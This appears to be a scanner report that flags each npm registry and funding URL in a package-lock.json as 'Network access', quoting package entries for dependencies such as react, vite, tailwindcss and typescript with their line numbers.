"node_modules/prelude-ls": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", - Network accessline 3559
"version": "1.2.1", "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", - Network accessline 3560
"resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", - Network accessline 3568
"node_modules/punycode": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - Network accessline 3569
"version": "2.3.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - Network accessline 3570
"resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - Network accessline 3578
"node_modules/queue-microtask": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - Network accessline 3579
"version": "1.2.3", "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - Network accessline 3580
"resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - Network accessline 3584
{ "type": "github", "url": "https://github.com/sponsors/feross" - Network accessline 3585
"type": "github", "url": "https://github.com/sponsors/feross" }, - Network accessline 3586
"url": "https://github.com/sponsors/feross" - Network accessline 3588
{ "type": "patreon", "url": "https://www.patreon.com/feross" - Network accessline 3589
"type": "patreon", "url": "https://www.patreon.com/feross" }, - Network accessline 3590
"url": "https://www.patreon.com/feross" - Network accessline 3592
{ "type": "consulting", "url": "https://feross.org/support" - Network accessline 3593
"type": "consulting", "url": "https://feross.org/support" } - Network accessline 3594
"url": "https://feross.org/support" - Network accessline 3599
"node_modules/react": { "version": "19.3.0", "resolved": "https://registry.npmjs.org/react/-/react-19.3.0.tgz", - Network accessline 3600
"version": "19.3.0", "resolved": "https://registry.npmjs.org/react/-/react-19.3.0.tgz", "integrity": "sha512-E8LUcbtBWt20bbl2YoHfx4ZDBdxVTfOKtCZn9cDSJ4l6/nuoApcpIBcj47t2wZoVX8g2ZHuMHbiShgCR1T5Sog==", - Network accessline 3601
"resolved": "https://registry.npmjs.org/react/-/react-19.3.0.tgz", - Network accessline 3608
"node_modules/react-dom": { "version": "19.3.0", "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.3.0.tgz", - Network accessline 3609
"version": "19.3.0", "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.3.0.tgz", "integrity": "sha512-JDk8dgif51OjFoDE70+OT9ICyYr+69HlmihNwp1+Nsfbna3t5sIiCa9ZJktDmQ4/1b/rn26hIAR2uYXDMr5r0Q==", - Network accessline 3610
"resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.3.0.tgz", - Network accessline 3620
"node_modules/react-refresh": { "version": "0.17.0", "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", - Network accessline 3621
"version": "0.17.0", "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==", - Network accessline 3622
"resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", - Network accessline 3630
"node_modules/react-resizable-panels": { "version": "4.14.1", "resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-4.14.1.tgz", - Network accessline 3631
"version": "4.14.1", "resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-4.14.1.tgz", "integrity": "sha512-OB1bXDNTLcGgTTbaX6Dn5efZhlMboSnkfr1w4xpsJTHPEbRJpACBhXpgRCXozgPO1ztgFeZRUe5J3mFNCVKm5 - Network accessline 3632
"resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-4.14.1.tgz", - Network accessline 3640
"node_modules/react-router": { "version": "7.18.4", "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.18.4.tgz", - Network accessline 3641
"version": "7.18.4", "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.18.4.tgz", "integrity": "sha512-PUPQcMhMGRAslLcvtlPz/kmzBEWPhLdgLFrL7pLNepBL6dX0lWj4WD2cUYVgYCuT3jxvghYFg81cDTj44DhetQ==", - Network accessline 3642
"resolved": "https://registry.npmjs.org/react-router/-/react-router-7.18.4.tgz", - Network accessline 3662
"node_modules/react-router-dom": { "version": "7.18.4", "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.18.4.tgz", - Network accessline 3663
"version": "7.18.4", "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.18.4.tgz", "integrity": "sha512-yrfmJHIpDG7taCpqKjT1G5B6q3O2K+RN8/fgNf0lTjCwiPbQ0ei6vXX9ZjQR+7ld8Tr7Z5xmyMnZ8YJrphWQUw==", - Network accessline 3664
"resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.18.4.tgz", - Network accessline 3678
"node_modules/read-cache": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", - Network accessline 3679
"version": "1.0.0", "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", - Network accessline 3680
"resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", - Network accessline 3688
"node_modules/readdirp": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - Network accessline 3689
"version": "3.6.0", "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", - Network accessline 3690
"resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - Network accessline 3701
"node_modules/resolve": { "version": "1.22.11", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", - Network accessline 3702
"version": "1.22.11", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", - Network accessline 3703
"resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", - Network accessline 3717
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 3718
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 3719
"url": "https://github.com/sponsors/ljharb" - Network accessline 3722
"node_modules/resolve-from": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - Network accessline 3723
"version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - Network accessline 3724
"resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - Network accessline 3732
"node_modules/reusify": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", - Network accessline 3733
"version": "1.1.0", "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", - Network accessline 3734
"resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", - Network accessline 3743
"node_modules/rollup": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", - Network accessline 3744
"version": "4.59.0", "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==", - Network accessline 3745
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", - Network accessline 3788
"node_modules/run-parallel": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - Network accessline 3789
"version": "1.2.0", "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - Network accessline 3790
"resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - Network accessline 3794
{ "type": "github", "url": "https://github.com/sponsors/feross" - Network accessline 3795
"type": "github", "url": "https://github.com/sponsors/feross" }, - Network accessline 3796
"url": "https://github.com/sponsors/feross" - Network accessline 3798
{ "type": "patreon", "url": "https://www.patreon.com/feross" - Network accessline 3799
"type": "patreon", "url": "https://www.patreon.com/feross" }, - Network accessline 3800
"url": "https://www.patreon.com/feross" - Network accessline 3802
{ "type": "consulting", "url": "https://feross.org/support" - Network accessline 3803
"type": "consulting", "url": "https://feross.org/support" } - Network accessline 3804
"url": "https://feross.org/support" - Network accessline 3812
"node_modules/scheduler": { "version": "0.28.0", "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.28.0.tgz", - Network accessline 3813
"version": "0.28.0", "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.28.0.tgz", "integrity": "sha512-juorfCmIkIw8tT+p5BXSm6PJjQF/ycEYmKyzURCIt/RaZIhL+PulbQ9Yu2z1HdOJDdqDTlxA1+xKBmHXJsczAw==", - Network accessline 3814
"resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.28.0.tgz", - Network accessline 3818
"node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - Network accessline 3819
"version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - Network accessline 3820
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - Network accessline 3828
"node_modules/set-cookie-parser": { "version": "2.7.2", "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz", - Network accessline 3829
"version": "2.7.2", "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz", "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==", - Network accessline 3830
"resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz", - Network accessline 3834
"node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - Network accessline 3835
"version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - Network accessline 3836
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - Network accessline 3847
"node_modules/shebang-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - Network accessline 3848
"version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - Network accessline 3849
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - Network accessline 3857
"node_modules/source-map-js": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - Network accessline 3858
"version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - Network accessline 3859
"resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - Network accessline 3867
"node_modules/state-local": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz", - Network accessline 3868
"version": "1.0.7", "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz", "integrity": "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==", - Network accessline 3869
"resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz", - Network accessline 3873
"node_modules/strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - Network accessline 3874
"version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", - Network accessline 3875
"resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - Network accessline 3881
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 3882
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 3883
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 3886
"node_modules/sucrase": { "version": "3.35.1", "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", - Network accessline 3887
"version": "3.35.1", "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==", - Network accessline 3888
"resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", - Network accessline 3909
"node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - Network accessline 3910
"version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - Network accessline 3911
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - Network accessline 3922
"node_modules/supports-preserve-symlinks-flag": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - Network accessline 3923
"version": "1.0.0", "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6 - Network accessline 3924
"resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - Network accessline 3930
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 3931
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 3932
"url": "https://github.com/sponsors/ljharb" - Network accessline 3935
"node_modules/tailwindcss": { "version": "3.4.19", "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz", - Network accessline 3936
"version": "3.4.19", "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz", "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==", - Network accessline 3937
"resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz", - Network accessline 3973
"node_modules/thenify": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", - Network accessline 3974
"version": "3.3.1", "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", - Network accessline 3975
"resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", - Network accessline 3983
"node_modules/thenify-all": { "version": "1.6.0", "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", - Network accessline 3984
"version": "1.6.0", "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", - Network accessline 3985
"resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", - Network accessline 3996
"node_modules/tinyglobby": { "version": "0.2.15", "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", - Network accessline 3997
"version": "0.2.15", "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", - Network accessline 3998
"resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", - Network accessline 4008
}, "funding": { "url": "https://github.com/sponsors/SuperchupuDev" - Network accessline 4009
"funding": { "url": "https://github.com/sponsors/SuperchupuDev" } - Network accessline 4010
"url": "https://github.com/sponsors/SuperchupuDev" - Network accessline 4013
"node_modules/tinyglobby/node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - Network accessline 4014
"version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - Network accessline 4015
"resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - Network accessline 4031
"node_modules/tinyglobby/node_modules/picomatch": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - Network accessline 4032
"version": "4.0.3", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - Network accessline 4033
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - Network accessline 4039
}, "funding": { "url": "https://github.com/sponsors/jonschlinkert" - Network accessline 4040
"funding": { "url": "https://github.com/sponsors/jonschlinkert" } - Network accessline 4041
"url": "https://github.com/sponsors/jonschlinkert" - Network accessline 4044
"node_modules/to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - Network accessline 4045
"version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - Network accessline 4046
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - Network accessline 4057
"node_modules/ts-api-utils": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", - Network accessline 4058
"version": "2.5.0", "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==", - Network accessline 4059
"resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", - Network accessline 4070
"node_modules/ts-interface-checker": { "version": "0.1.13", "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", - Network accessline 4071
"version": "0.1.13", "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==" - Network accessline 4072
"resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", - Network accessline 4077
"node_modules/type-check": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", - Network accessline 4078
"version": "0.4.0", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", - Network accessline 4079
"resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", - Network accessline 4090
"node_modules/typescript": { "version": "5.7.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.3.tgz", - Network accessline 4091
"version": "5.7.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.3.tgz", "integrity": "sha512-84MVSjMEHP+FQRPy3pX9sTVV/INIex71s9TL2Gm5FG/WG1SqXeKyZ0k7/blY/4FdOzI12CBy1vGc4og/eus0fw==", - Network accessline 4092
"resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.3.tgz", - Network accessline 4104
"node_modules/typescript-eslint": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.71.0.tgz", - Network accessline 4105
"version": "8.71.0", "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.71.0.tgz", "integrity": "sha512-fBdHYiqQ14RW6mOMXD14Svn82ZsCYAoQSzGRzyEjR59S5A2Krh/l7fGTOQ7iCr8gGy/mHVXtEF7s5fgjEdV0Pw==", - Network accessline 4106
"resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.71.0.tgz", - Network accessline 4119
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 4120
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, - Network accessline 4121
"url": "https://opencollective.com/typescript-eslint" - Network accessline 4128
"node_modules/update-browserslist-db": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.3.3.tgz", - Network accessline 4129
"version": "1.3.3", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.3.3.tgz", "integrity": "sha512-pJ2sYawQS0R/WI928Gj5GlPhTGzbMelq0+4INtSYNDV9ErKJcX6xjGWkoG/VnB3dpUm00zALaqkrUD77pO5TDQ= - Network accessline 4130
"resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.3.3.tgz", - Network accessline 4134
{ "type": "opencollective", "url": "https://opencollective.com/browserslist" - Network accessline 4135
"type": "opencollective", "url": "https://opencollective.com/browserslist" }, - Network accessline 4136
"url": "https://opencollective.com/browserslist" - Network accessline 4138
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 4139
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" }, - Network accessline 4140
"url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 4142
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 4143
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 4144
"url": "https://github.com/sponsors/ai" - Network accessline 4159
"node_modules/uri-js": { "version": "4.4.1", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", - Network accessline 4160
"version": "4.4.1", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", - Network accessline 4161
"resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", - Network accessline 4169
"node_modules/util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - Network accessline 4170
"version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - Network accessline 4171
"resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - Network accessline 4176
"node_modules/vite": { "version": "6.4.1", "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz", - Network accessline 4177
"version": "6.4.1", "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz", "integrity": "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==", - Network accessline 4178
"resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz", - Network accessline 4195
}, "funding": { "url": "https://github.com/vitejs/vite?sponsor=1" - Network accessline 4196
"funding": { "url": "https://github.com/vitejs/vite?sponsor=1" }, - Network accessline 4197
"url": "https://github.com/vitejs/vite?sponsor=1" - Network accessline 4251
"node_modules/vite/node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - Network accessline 4252
"version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - Network accessline 4253
"resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - Network accessline 4269
"node_modules/vite/node_modules/picomatch": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - Network accessline 4270
"version": "4.0.3", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - Network accessline 4271
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - Network accessline 4277
}, "funding": { "url": "https://github.com/sponsors/jonschlinkert" - Network accessline 4278
"funding": { "url": "https://github.com/sponsors/jonschlinkert" } - Network accessline 4279
"url": "https://github.com/sponsors/jonschlinkert" - Network accessline 4282
"node_modules/which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - Network accessline 4283
"version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - Network accessline 4284
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - Network accessline 4298
"node_modules/word-wrap": { "version": "1.2.5", "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", - Network accessline 4299
